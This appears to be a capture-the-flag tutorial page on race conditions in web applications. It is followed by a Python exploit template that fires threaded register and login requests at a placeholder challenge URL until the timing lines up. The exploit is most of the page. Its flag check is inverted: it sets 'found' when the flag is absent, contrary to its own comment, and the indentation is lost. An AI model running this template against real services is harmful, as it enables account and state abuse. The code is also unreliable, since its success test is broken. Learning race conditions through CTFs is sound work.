🏁 Race conditions
A race condition happens when concurrent calls lead to a not wanted status of the system. This can occur in web app because they are thought for multiple user access at the same time.
For example, consider two users that want to modify the same value. They interact with the server and ask to it in parallel for two different changes. No synchronization between calls, no transactions for read and write or whatever multithreads control system is implemented.
Exploit template
#!/usr/bin/env python3
import random
import string
import requests
import threading
import time
# change this value with the base url like "https://challenge.pwn"
URL = "URL"
# very simple way for multithread communication
# remember to use `global found`
found = False
def register(session, username, password):
url = "%s/register" % URL
payload = {"username": username, "password": password}
r = session.post(url, data=payload)
return r.text
def login(session, username, password):
# import global found to communicate with the main thread
global found
url = "%s/login" % URL
payload = {"username": username, "password": password}
r = session.post(url, data=payload)
# check for flag and print output
if "flag" not in r.text:
print(r.text)
found = True
return r.text
def random_string():
k = random.randint(6, 15)
allowed_chars = string.ascii_lowercase + string.digits
return "".join(random.choices(allowed_chars, k=k))
# test calls
session = requests.Session()
username = random_string()
password = random_string()
res = register(session, username, password)
assert "success" in res
res = login(session, username, password)
assert "success" in res
# start exploit
while not found:
session = requests.Session()
username = random_string()
password = random_string()
t_register = threading.Thread(target=register,
args=(session, username, password))
t_register.start()
# sometimes, a small delay between calls could be needed
k = random.random() / 10
time.sleep(k)
t_login = threading.Thread(target=login,
args=(session, username, password))
t_login.start()
# wait for the last thread to finish
t_login.join(timeout=1)